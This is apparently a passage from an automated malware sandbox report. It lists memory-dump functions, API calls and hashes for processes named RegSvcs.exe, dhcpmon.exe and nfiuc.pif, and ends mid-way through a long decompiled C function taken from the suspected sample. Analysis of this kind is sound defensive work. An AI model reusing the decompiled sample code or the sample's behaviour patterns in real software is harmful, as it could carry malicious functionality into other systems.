Instruction Fuzzy Hash: 5621C2B5D012099FDB10CFAAD884ADEFBF8FB48324F14841AE914A7310D378A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F58768, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,04F596A9,00000800,00000000,00000000), ref: 04F598BA

Strings

~kbS, xrefs: 04F5986F

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: ~kbS
API String ID: 1029625771-1267672345
Opcode ID: 1deaa3597a53687debee9aded8391ce26404ca74ef4a03b2f5d35b65e0051a56
Instruction ID: c6384f314e03ab1d9f35bddec07b4eab5425b54c6fef1f49fc98609d8f8e4e31
Opcode Fuzzy Hash: 1deaa3597a53687debee9aded8391ce26404ca74ef4a03b2f5d35b65e0051a56
Instruction Fuzzy Hash: 8111F2B6D002099BDB14CF9AC444A9EFBF4EB88314F04842EE915A7610C3B5A946CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04F59849, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,04F596A9,00000800,00000000,00000000), ref: 04F598BA

Strings

~kbS, xrefs: 04F5986F

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: ~kbS
API String ID: 1029625771-1267672345
Opcode ID: ee6cb5efd61b85d8e40c21fc93dc17e1fbdbd26b3888dadda904d8ec3a224bca
Instruction ID: a5179edefdbc89953d405e319f85d33898a012708cd36eaa2b10face09678b8e
Opcode Fuzzy Hash: ee6cb5efd61b85d8e40c21fc93dc17e1fbdbd26b3888dadda904d8ec3a224bca
Instruction Fuzzy Hash: F61114B6C002098FDB14CF9AC484ADEFBF4EB88310F04842EE915A7610C3B8A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F595C8, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04F5962E

Strings

~kbS, xrefs: 04F595E7

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: HandleModule
String ID: ~kbS
API String ID: 4139908857-1267672345
Opcode ID: d8ce0113565436dd43cc4f36fdd68c0b2f1a6f5fe0e29a00bdb8325e1796b929
Instruction ID: 40787927380ea2a702e550dff914f632cc428f1494e04356476cc08ac675cc8c
Opcode Fuzzy Hash: d8ce0113565436dd43cc4f36fdd68c0b2f1a6f5fe0e29a00bdb8325e1796b929
Instruction Fuzzy Hash: C911D2B5C006498FDB24CF9AC444BDEFBF4AB88324F14841AD919A7610D3B4A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5FE38, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 04F5FE9D

Strings

~kbS, xrefs: 04F5FE5A

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: LongWindow
String ID: ~kbS
API String ID: 1378638983-1267672345
Opcode ID: 21046830e8428e06e3d9706ffe09ba3ccf8b657ef9e4676c758fdd8d39984f6b
Instruction ID: a88cf3359d452ec4b655edd00d2a4de47eda703d017db8d3c18a681e8acc1106
Opcode Fuzzy Hash: 21046830e8428e06e3d9706ffe09ba3ccf8b657ef9e4676c758fdd8d39984f6b
Instruction Fuzzy Hash: 501103B58002489FDB20CF99D589BDFFBF8EB48324F10845AE954A7301C374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F5FE40, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 04F5FE9D

Strings

~kbS, xrefs: 04F5FE5A

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: LongWindow
String ID: ~kbS
API String ID: 1378638983-1267672345
Opcode ID: f8f163fd11b977ee50b6c8709f4b645090f51db5a5b93a05a58c253af39b565b
Instruction ID: 872d3ecbe61ddbb4eb2fdd6a47646f5d850bf33a54fb03208da0119a9a2df096
Opcode Fuzzy Hash: f8f163fd11b977ee50b6c8709f4b645090f51db5a5b93a05a58c253af39b565b
Instruction Fuzzy Hash: 7111D0B58002499FDB20CF9AD589BDFFBF8EB88324F10845AE915A7241C374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DED4A0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.922697377.0000000000DED000.00000040.00000001.sdmp, Offset: 00DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03270302f74a0858a1ef89d928c2e3c2caa89f697d55782d3ab45400f12ac421
Instruction ID: d03a3bd34ced647072889e9245b384de02b9706603b9fd37af526277198c8c78
Opcode Fuzzy Hash: 03270302f74a0858a1ef89d928c2e3c2caa89f697d55782d3ab45400f12ac421
Instruction Fuzzy Hash: DF2145B1504280DFDB05EF10D9C0B26BFA2FB98328F24C569E9050B246C736D806CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00DFD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.922720672.0000000000DFD000.00000040.00000001.sdmp, Offset: 00DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ed429aa030e538d42db26521e1eec8657b6c29647f6ba544403857d687a377
Instruction ID: e2de63f0cfdd46fa44dedc80b569c9e0490c1dfe9616de6442849233ad22f0b4
Opcode Fuzzy Hash: f2ed429aa030e538d42db26521e1eec8657b6c29647f6ba544403857d687a377
Instruction Fuzzy Hash: 3C21F5B1504248EFDB14DF10D5C4B26BBA7FB84314F25C569EA494B246CB36D847CA71

Uniqueness

Uniqueness Score: -1.00%

Function 00DFD005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.922720672.0000000000DFD000.00000040.00000001.sdmp, Offset: 00DFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d39959cd7144de19c55ca7328ee02919e3adf40f93fbeebc63b7cd2dd5047181
Instruction ID: 7291e6c0d5c7a8f089339b91eca3a63f7e74c1d63d194108499a6e8e5e943eb8
Opcode Fuzzy Hash: d39959cd7144de19c55ca7328ee02919e3adf40f93fbeebc63b7cd2dd5047181
Instruction Fuzzy Hash: 5F2192755093C48FCB12CF20D994715BF72EB46314F29C5EAD8498B697C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00DED49B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.922697377.0000000000DED000.00000040.00000001.sdmp, Offset: 00DED000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2330691ba4d7911e2eb2ecb7cf07cc4824dc234649578f840251faf07cc16324
Instruction ID: c786f94fdc1b2bbd2660f5af8200c31510109193473c38b6460253ec3631ddeb
Opcode Fuzzy Hash: 2330691ba4d7911e2eb2ecb7cf07cc4824dc234649578f840251faf07cc16324
Instruction Fuzzy Hash: B711E676804280CFCF12DF14D5C4B16BF72FB85324F28C6A9D8050B656C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04F57EE8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004B), ref: 04F57F5D

Strings

(H, xrefs: 04F57F2C
~kbS, xrefs: 04F57F0F

Memory Dump Source

Source File: 00000002.00000002.925591867.0000000004F50000.00000040.00000001.sdmp, Offset: 04F50000, based on PE: false

Similarity

API ID: MetricsSystem
String ID: (H$~kbS
API String ID: 4116985748-2925130147
Opcode ID: 9e3de1e85a77573181cab283fffca5b358294e0934e267f1d587fd1211ddf62e
Instruction ID: 35d97a00c7ace5c0e61ae347961c2cecdd86adca1b39cebda4f3d390df4b4db9
Opcode Fuzzy Hash: 9e3de1e85a77573181cab283fffca5b358294e0934e267f1d587fd1211ddf62e
Instruction Fuzzy Hash: 5A11A971C05389CFDB11DF95D4843EBBFF8EB05318F148859D584A6281C778A61ACBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exe PID: 5036 Parent PID: 968 RegSvcs.exeCOMMON

Executed Functions

Function 01A90744, Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,?,?,?,00000000,00000000), ref: 01A91BEB

Memory Dump Source

Source File: 00000007.00000002.694969392.0000000001A90000.00000040.00000001.sdmp, Offset: 01A90000, based on PE: false

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: eca4a80a95697453073c08c633a0323c057f6d175bd7878f71e17a9b56453823
Instruction ID: 64a0b557d9e58948170ab600efd74aece816e58359abe8dd40a865e8f6469e5d
Opcode Fuzzy Hash: eca4a80a95697453073c08c633a0323c057f6d175bd7878f71e17a9b56453823
Instruction Fuzzy Hash: 46710374D002199FDF24CF9AC984A9EBBF1BF48324F158129E819AB350D774A985CF81

Uniqueness

Uniqueness Score: -1.00%

Function 01A91A3C, Relevance: 1.7, APIs: 1, Instructions: 167COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,?,?,?,00000000,00000000), ref: 01A91BEB

Memory Dump Source

Source File: 00000007.00000002.694969392.0000000001A90000.00000040.00000001.sdmp, Offset: 01A90000, based on PE: false

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 5a10563ba8a15393b62b53d0d0099373e37274341c83df9d469fefcbd11ffc7d
Instruction ID: cf59d46f0df22a7836dab2ac25b91e372f1343c4dc1f45ca53a8a431a3399c61
Opcode Fuzzy Hash: 5a10563ba8a15393b62b53d0d0099373e37274341c83df9d469fefcbd11ffc7d
Instruction Fuzzy Hash: D07104B5D0021A8FDF24CF99C98469DBBF1FF48324F158129E819AB350D774A986CF81

Uniqueness

Uniqueness Score: -1.00%

Function 01A91C9F, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.694969392.0000000001A90000.00000040.00000001.sdmp, Offset: 01A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a91ecee0d58a0a39261d3edc063b11935ada0e4bd39f1b9ff783f6433ae4f3
Instruction ID: 932b051d9cbd90f5111d153a1d9bb8381641d1840ae067da7221e8059eb4c561
Opcode Fuzzy Hash: 51a91ecee0d58a0a39261d3edc063b11935ada0e4bd39f1b9ff783f6433ae4f3
Instruction Fuzzy Hash: D5318970A0424ADFDF21CFA8C994BEDBBF1AF08328F244169D404AB281D7799985CB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: dhcpmon.exe PID: 1472 Parent PID: 968 dhcpmon.exeCOMMON

Executed Functions

Function 00880728, Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,?,?,?,00000000,00000000), ref: 00881BEB

Memory Dump Source

Source File: 00000009.00000002.698923646.0000000000880000.00000040.00000001.sdmp, Offset: 00880000, based on PE: false

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: fc67b9294e5da7093119359df053112731ff2dcb47c6e609c6ded75a035ef40b
Instruction ID: 3c230bb34f83188f7bac0c31daf7c2fa806ad319249679debc144e5089ad6c59
Opcode Fuzzy Hash: fc67b9294e5da7093119359df053112731ff2dcb47c6e609c6ded75a035ef40b
Instruction Fuzzy Hash: AF710571D002198FDF14DF99C888ADDBBB5FF48324F258129E819AB350DB34A946CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00881A3C, Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,?,?,?,00000000,00000000), ref: 00881BEB

Memory Dump Source

Source File: 00000009.00000002.698923646.0000000000880000.00000040.00000001.sdmp, Offset: 00880000, based on PE: false

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 80ee5641126d7d6df980d1828c54409d55d8b018ad72129cef76e226329b0014
Instruction ID: c2cb039c04226384624f65caa717da377e2027be3292a5e1557c8a447e3a792b
Opcode Fuzzy Hash: 80ee5641126d7d6df980d1828c54409d55d8b018ad72129cef76e226329b0014
Instruction Fuzzy Hash: 1571F3B5D002198FDF24DF99C98879DBBB5FF48324F258129E819AB350DB34A946CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00880744, Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,?,?,?,00000000,00000000), ref: 00881BEB

Memory Dump Source

Source File: 00000009.00000002.698923646.0000000000880000.00000040.00000001.sdmp, Offset: 00880000, based on PE: false

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: e3a9ede8c39ff8fec4cb9ee8f37a4515c1d54a97774164a42140d906ee83b88a
Instruction ID: 558c5386255d7429f5a3ab2298b94d4f5a3adc20f8743e502d46006e664889f1
Opcode Fuzzy Hash: e3a9ede8c39ff8fec4cb9ee8f37a4515c1d54a97774164a42140d906ee83b88a
Instruction Fuzzy Hash: AE71F470D002199FDF24DF99C98879EBBB5FF48314F258129E819AB350DB74A946CF81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: nfiuc.pif PID: 1380 Parent PID: 3424 nfiuc.pifCOMMON

Executed Functions

Function 00EE98F0, Relevance: 33.9, APIs: 21, Instructions: 2413
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E00EE98F0(signed int* __eax, void* __eflags, void* __fp0, void* _a4, intOrPtr _a8, void* _a12, char* _a16) {
				intOrPtr _v8;
				short _v10;
				short _v12;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void _v32;
				intOrPtr _v36;
				char _v40;
				char _v52;
				void* _v56;
				signed int _v60;
				intOrPtr _v64;
				void _v68;
				char _v76;
				void* _v80;
				char _v84;
				void* _v88;
				void _v92;
				char _v100;
				void _v104;
				signed int _v108;
				void* _v112;
				void* _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				char _v132;
				void _v136;
				void _v140;
				signed int _v144;
				void* _v148;
				signed int _v152;
				void* _v156;
				signed int _v160;
				char _v161;
				intOrPtr _v164;
				signed int _v168;
				signed int _v172;
				long _v176;
				WCHAR* _v180;
				signed int _v184;
				void _v188;
				void _v192;
				void* _v196;
				void* _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v224;
				intOrPtr _v228;
				void** __ebx;
				void* __edi;
				void* __esi;
				long _t937;
				void* _t938;
				signed int _t939;
				signed int* _t943;
				signed int _t946;
				signed int _t949;
				void* _t956;
				void* _t958;
				void* _t967;
				signed int _t968;
				signed int _t969;
				signed int _t974;
				signed int _t978;
				void* _t979;
				void* _t983;
				intOrPtr _t984;
				intOrPtr _t985;
				intOrPtr _t997;
				intOrPtr _t1000;
				void* _t1002;
				intOrPtr _t1003;
				void* _t1009;
				intOrPtr _t1011;
				void* _t1012;
				intOrPtr _t1013;
				void* _t1015;
				intOrPtr _t1016;
				void* _t1109;
				intOrPtr _t1111;
				void* _t1112;
				signed int _t1113;
				signed int _t1114;
				void _t1116;
				void* _t1123;
				void* _t1126;
				signed int _t1128;
				void* _t1129;
				signed int _t1130;
				void* _t1131;
				void* _t1139;
				void* _t1153;
				intOrPtr _t1158;
				void* _t1159;
				void* _t1160;
				signed int _t1162;
				void* _t1163;
				signed int _t1164;
				signed int _t1165;
				void* _t1166;
				void* _t1173;
				void* _t1176;
				signed int _t1177;
				signed int _t1193;
				signed int _t1194;
				short _t1195;
				void* _t1197;
				signed int _t1200;
				void* _t1202;
				signed int _t1204;
				void* _t1207;
				void* _t1215;
				void* _t1219;
				signed int _t1220;
				void* _t1222;
				void** _t1223;
				void* _t1227;
				intOrPtr* _t1228;
				signed int _t1229;
				void* _t1231;
				void* _t1232;
				signed int _t1235;
				signed int _t1236;
				void* _t1237;
				void* _t1239;
				void* _t1240;
				intOrPtr* _t1241;
				signed int _t1242;
				void* _t1243;
				void* _t1245;
				void* _t1246;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int* _t1252;
				void* _t1254;
				void* _t1256;
				void* _t1259;
				short* _t1265;
				void* _t1266;
				void _t1269;
				void* _t1270;
				void* _t1272;
				void* _t1276;
				void* _t1278;
				void* _t1281;
				void* _t1283;
				void* _t1284;
				void* _t1286;
				void* _t1288;
				signed int _t1290;
				signed int _t1291;
				signed int _t1295;
				signed int _t1296;
				void* _t1297;
				void* _t1298;
				intOrPtr* _t1308;
				signed int _t1310;
				signed int _t1311;
				void* _t1317;
				intOrPtr* _t1319;
				void* _t1322;
				void* _t1325;
				intOrPtr _t1330;
				signed int _t1332;
				intOrPtr _t1335;
				signed int _t1337;
				void* _t1341;
				void* _t1347;
				void _t1349;
				void* _t1350;
				signed int _t1351;
				signed int _t1352;
				long _t1354;
				void* _t1358;
				void* _t1359;
				void* _t1361;
				signed int _t1362;
				void _t1364;
				signed int _t1365;
				void* _t1369;
				void* _t1376;
				void* _t1379;
				intOrPtr* _t1382;
				void _t1385;
				intOrPtr _t1391;
				void* _t1393;
				intOrPtr _t1394;
				void* _t1396;
				void* _t1397;
				void* _t1402;
				void* _t1403;
				void** _t1406;
				signed int _t1407;
				void _t1411;
				signed int _t1412;
				long _t1413;
				void* _t1414;
				short _t1442;
				void* _t1443;
				void* _t1444;
				signed int _t1448;
				intOrPtr _t1450;
				intOrPtr _t1454;
				intOrPtr _t1455;
				void* _t1474;
				void* _t1477;
				void* _t1478;
				void* _t1485;
				void* _t1487;
				void** _t1488;
				signed int _t1493;
				signed int _t1507;
				void _t1508;
				void* _t1510;
				void* _t1511;
				void _t1513;
				void _t1519;
				void* _t1534;
				void* _t1537;
				void _t1545;
				signed int _t1549;
				intOrPtr _t1559;
				intOrPtr _t1561;
				intOrPtr _t1562;
				signed int _t1570;
				void* _t1593;
				WCHAR* _t1595;
				void _t1609;
				signed int _t1611;
				intOrPtr _t1617;
				intOrPtr _t1618;
				void* _t1652;
				signed int _t1660;
				signed int _t1664;
				intOrPtr _t1665;
				intOrPtr _t1668;
				void* _t1669;
				void* _t1672;
				void* _t1684;
				void* _t1693;
				intOrPtr _t1697;
				intOrPtr _t1710;
				intOrPtr _t1717;
				intOrPtr _t1725;
				void* _t1730;
				intOrPtr* _t1731;
				intOrPtr* _t1732;
				intOrPtr* _t1733;
				intOrPtr* _t1734;
				signed int _t1735;
				void _t1738;
				void* _t1740;
				void _t1741;
				signed int _t1746;
				signed int* _t1748;
				void* _t1750;
				signed int _t1753;
				signed int _t1754;
				long _t1755;
				signed int _t1761;
				intOrPtr _t1762;
				void* _t1763;
				void* _t1767;
				signed int _t1768;
				intOrPtr* _t1769;
				void* _t1770;
				void* _t1777;
				signed int _t1778;
				signed int _t1782;
				signed int _t1785;
				void* _t1787;
				void* _t1788;
				signed int _t1790;
				signed int _t1791;
				intOrPtr _t1796;
				signed int _t1799;
				signed int _t1803;
				void* _t1806;
				void* _t1809;
				void* _t1826;
				signed int _t1836;
				void* _t1851;

				_t1851 = __fp0;
				_t1391 = _a8;
				_t1728 = __eax;
				_t1757 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) +  *__eax * 4))))));
				_t937 = E00EF10E1( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) +  *__eax * 4)))))));
				_t1806 = (_t1803 & 0xfffffff8) - 0xd4 + 4;
				_v176 = _t937;
				_t938 = _t937 + 1;
				if(_t938 == 0) {
					_t939 = 8;
				} else {
					_t939 = (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3) + (_t938 + 7 >> 3);
					_t1836 = _t939;
				}
				_v172 = _t939;
				_push( ~(0 | _t1836 > 0x00000000) | _t939 * 0x00000002);
				_v180 = E00EF14F7(_t1728, _t1757, _t1836);
				E00EF0D80(_t941, _t1757, _v176 + _v176 + 2);
				_push(4);
				_t943 = E00EF14F7(_t1728, _t1757, _t1836);
				_t1809 = _t1806 + 0x14;
				if(_t943 == 0) {
					_t943 = 0;
				} else {
					 *_t943 = 1;
				}
				_v168 = _t943;
				if( *((intOrPtr*)(_a4 + 0x140)) == 0) {
					L288:
					E00EE2480( &_v180);
					goto L289;
				} else {
					if( *_t943 > 1) {
						 *_v168 =  *_v168 - 1;
						E00EE15E0( &_v180);
						_t949 = E00F2653C(_v176 + 1);
						_v176 = _t949;
						_push( ~(0 | __eflags > 0x00000000) | _t949 * 0x00000002);
						_t1761 = E00EF14F7(_t1728, _t949, __eflags);
						E00EF0D80(_t1761, _v184, _v180 +  &(_v180[1]));
						_t1809 = _t1809 + 0x10;
						_v184 = _t1761;
					}
					CharUpperBuffW(_v180, _v176);
					_t956 = _a4;
					_t1762 =  *((intOrPtr*)(_t956 + 0x13c));
					if(_t1762 != 0) {
						_t958 =  *((intOrPtr*)(_t956 + 0x140)) - 1;
						__eflags = _t958;
						if(_t958 < 0) {
							goto L288;
						}
						_v136 = 0;
						_v116 = _t958;
						do {
							asm("cdq");
							_v200 = _v116 + _v136 - _v136 >> 1;
							__eflags = E00EEBF10( &_v180,  *((intOrPtr*)(_t1762 + (_v116 + _v136 - _v136 >> 1) * 4)));
							if(__eflags >= 0) {
								if(__eflags <= 0) {
									__eflags = _v136 - _v116;
									if(_v136 > _v116) {
										goto L288;
									}
									_t1763 =  *(_t1762 + _v200 * 4);
									E00EE2480( &_v180);
									L17:
									_t967 = _t1763;
									if(_t967 == 0) {
										L289:
										_t946 = E00F5DC75(__eflags, _t1851, _a4, _t1391, _t1728, _a12);
										L264:
										return _t946;
									}
									_v136 =  *((intOrPtr*)(_t967 + 0x14));
									_t968 =  *_t1728;
									_v160 =  *((intOrPtr*)(_t967 + 0x18));
									_v24 =  *((intOrPtr*)(_t967 + 0x10));
									_t1609 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t968 * 4)) + 0xa));
									_t969 = _t968 + 1;
									 *_t1728 = _t969;
									_v8 =  *((intOrPtr*)(_a4 + 0x148));
									_v196 = 0;
									_v188 = 1;
									_v184 = 0;
									_v180 = 0xf68068;
									_v176 = 0;
									_v172 = 0;
									_v168 = 0;
									_v132 = 0xf6c440;
									_v128 = 0;
									_v124 = 0;
									_v120 = 0;
									if( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t969 * 4)) + 8)) != 0x47) {
										_push(_t1609);
										_push(0x6f);
										_push(_a4);
										L624:
										E00F3E724(_t1851);
										goto L625;
									} else {
										_t974 = _t969 + 1;
										_v104 = _t1609;
										_t1611 = _t974;
										_v204 = 0;
										_t1767 = 0;
										_v144 = _t1611;
										while(1) {
											 *_t1728 = _t974;
											_t1442 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4)) + 8));
											if(_t1442 < 0x47) {
											}
											L21:
											_t974 = _t974 + 1;
											while(1) {
												 *_t1728 = _t974;
												_t1442 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4)) + 8));
												if(_t1442 < 0x47) {
												}
												goto L22;
											}
											goto L21;
											L22:
											_t1443 = _t1442 - 0x47;
											__eflags = _t1443;
											if(_t1443 == 0) {
												_t1767 = _t1767 + 1;
												goto L21;
											}
											_t1444 = _t1443 - 1;
											__eflags = _t1444;
											if(_t1444 != 0) {
												__eflags = _t1444 != 0x37;
												if(_t1444 != 0x37) {
													goto L21;
												}
												_push( *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t1391 + 4)) + _t974 * 4 - 4)) + 0xa)));
												_push(0x6f);
												_push(_a4);
												goto L624;
											}
											__eflags = _t1767;
											if(_t1767 != 0) {
												_t1767 = _t1767 - 1;
												_t974 = _t974 + 1;
												continue;
											}
											_v208 = _t974;
											 *_t1728 = _t974 + 1;
											_t978 = _v24;
											__eflags = _t978 -  *0xf890f8; // 0x0
											if(__eflags > 0) {
												L296:
												_v148 = _t1444;
												L28:
												_v116 = _t1444;
												__eflags = _v136 - _t1444;
												if(_v136 <= _t1444) {
													L57:
													_t979 = _v116;
													__eflags = _t979 - _v160;
													if(_t979 < _v160) {
														L622:
														_push(_v104);
														_push(0x70);
														goto L623;
													}
													__eflags = _t979 - _v136;
													if(_t979 > _v136) {
														goto L622;
													}
													__eflags = _t1611 - _v208;
													if(_t1611 != _v208) {
														goto L622;
													}
													_t1393 = _v24;
													_t1768 = 0;
													_v212 = 3;
													_v200 = 0;
													_v156 = 0;
													_v152 = _t1393;
													__eflags = _t1393;
													if(_t1393 < 0) {
														_v152 = 0;
													}
													__eflags =  *0xf87f3d; // 0x0
													if(__eflags != 0) {
														_t1611 =  *0xf87f38; // 0x0
														 *_t1611 = 0;
														_t1448 =  *0xf87f38; // 0x0
														 *((intOrPtr*)(_t1448 + 4)) = _v152;
														 *0xf87f3d = 0;
													} else {
														_push(0xc);
														_t1295 = E00EF14F7(_t1728, _t1768, __eflags);
														_t1809 = _t1809 + 4;
														__eflags = _t1295 - _t1768;
														if(_t1295 == _t1768) {
															_t1754 = 0;
														} else {
															_t1754 = _t1295;
															 *_t1754 = _t1768;
															_t1611 = _v152;
															 *(_t1754 + 4) = _t1611;
															__eflags = _v152 - _t1768;
															if(_v152 < _t1768) {
																 *(_t1754 + 4) = _t1768;
															}
															_t1296 = _v156;
															__eflags = _t1296 - _t1768;
															if(__eflags != 0) {
																_push(0x20);
																_v204 = _t1296;
																_t1297 = E00EF14F7(_t1754, _t1768, __eflags);
																_t1809 = _t1809 + 4;
																__eflags = _t1297 - _t1768;
																if(_t1297 == _t1768) {
																	_t1298 = 0;
																	__eflags = 0;
																} else {
																	_t1298 = E00F2B393(_t1297);
																}
																 *_t1754 = _t1298;
																E00EEDE00(_t1298, _v204);
																_t1790 = _v208;
																 *((intOrPtr*)( *_t1754 + 0x10)) =  *((intOrPtr*)(_t1790 + 0x10));
																 *((intOrPtr*)( *_t1754 + 0x14)) =  *((intOrPtr*)(_t1790 + 0x14));
																 *((intOrPtr*)( *_t1754 + 0x18)) = 0;
																 *((intOrPtr*)( *_t1754 + 0x1c)) = 0;
																E00F333B8(_t1754,  *_t1754 + 0x18,  *((intOrPtr*)(_t1790 + 0x18)));
																_t1611 =  *(_t1790 + 0x1c);
																E00F333B8(_t1754,  *_t1754 + 0x1c, _t1611);
																_t1768 = 0;
															} else {
																 *_t1754 = _t1768;
															}
														}
														_t1549 =  *0xf87f38; // 0x0
														 *(_t1754 + 8) = _t1549;
														 *0xf87f38 = _t1754;
													}
													_t983 = _v156;
													 *0xf87f34 =  *0xf87f34 + 1;
													__eflags = _t983 - _t1768;
													if(_t983 != _t1768) {
														_t1730 = _t983;
														_t984 =  *((intOrPtr*)(_t983 + 0x18));
														__eflags = _t984 - _t1768;
														if(_t984 != _t1768) {
															E00EEB650(_t1393,  &_v156, _t1730, _t984);
														}
														_t985 =  *((intOrPtr*)(_t1730 + 0x1c));
														__eflags = _t985 - _t1768;
														if(_t985 != _t1768) {
															E00EEB650(_t1393,  &_v156, _t1730, _t985);
														}
														__eflags =  *((char*)(_t1730 + 0x10));
														if( *((char*)(_t1730 + 0x10)) == 0) {
															_t1546 =  *((intOrPtr*)(_t1730 + 0x14));
															__eflags =  *((intOrPtr*)(_t1730 + 0x14)) - _t1768;
															if( *((intOrPtr*)(_t1730 + 0x14)) != _t1768) {
																E00EEE3C0(_t1546, _t1730, 1);
															}
														}
														E00F2651E(_t1730);
													}
													__eflags = _v136 - 1;
													if(_v136 < 1) {
														L146:
														_t1769 = _a4;
														_v100 = 0;
														_v88 = 0;
														_v84 = 0;
														_v80 = 0;
														_v76 = 0;
														_v68 = 0;
														_v56 = 0;
														_v52 = 0;
														 *((intOrPtr*)(_t1769 + 0x148)) = _v116;
														_v92 = 1;
														_v60 = 1;
														_t1450 =  *((intOrPtr*)( *_t1769 + 4));
														__eflags =  *((char*)(_t1450 + _t1769 + 0xd));
														_t1731 = _t1450 + _t1769 + 4;
														if(__eflags != 0) {
															E00F538C9(_t1450,  *(_t1731 + 4),  &_v100);
															 *((char*)(_t1731 + 9)) = 0;
														} else {
															_push(0x40);
															_t1176 = E00EF14F7(_t1731, _t1769, __eflags);
															_t1809 = _t1809 + 4;
															__eflags = _t1176;
															if(_t1176 == 0) {
																_t1176 = 0;
															} else {
																__eflags = 0;
																 *(_t1176 + 8) = 1;
																 *((intOrPtr*)(_t1176 + 0xc)) = 0;
																 *_t1176 = 0;
																 *((char*)(_t1176 + 0x10)) = 0;
																 *((intOrPtr*)(_t1176 + 0x14)) = 0;
																 *((char*)(_t1176 + 0x18)) = 0;
																 *(_t1176 + 0x28) = 1;
																 *((intOrPtr*)(_t1176 + 0x2c)) = 0;
																 *((intOrPtr*)(_t1176 + 0x20)) = 0;
																 *((char*)(_t1176 + 0x30)) = 0;
															}
